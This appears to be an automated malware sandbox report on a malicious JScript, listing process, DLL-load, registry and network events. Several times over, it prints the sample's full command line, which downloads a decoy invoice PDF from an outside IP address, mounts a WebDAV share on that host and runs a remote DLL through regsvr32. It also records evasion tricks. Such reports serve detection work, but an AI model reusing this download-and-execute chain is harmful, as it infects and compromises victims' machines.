Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3934.js.csv");ITextStream.WriteLine(" entry:8050 f:lietrd");ITextStream.WriteLine(" exec:2 f:lietrd");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4830			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4880			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7148	Thread sleep count: 4830 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7148	Thread sleep count: 4880 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1368	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5828	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7108	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6128	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6380	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7248	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000002.1762337415.000001D88AFD8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@V
Source: net.exe, 00000006.00000003.1757497953.000001D88B040000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1762487181.000001D88B040000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3000342139.000002244442B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3001376371.0000022449A58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000003.1757497953.000001D88B040000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1762487181.000001D88B040000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
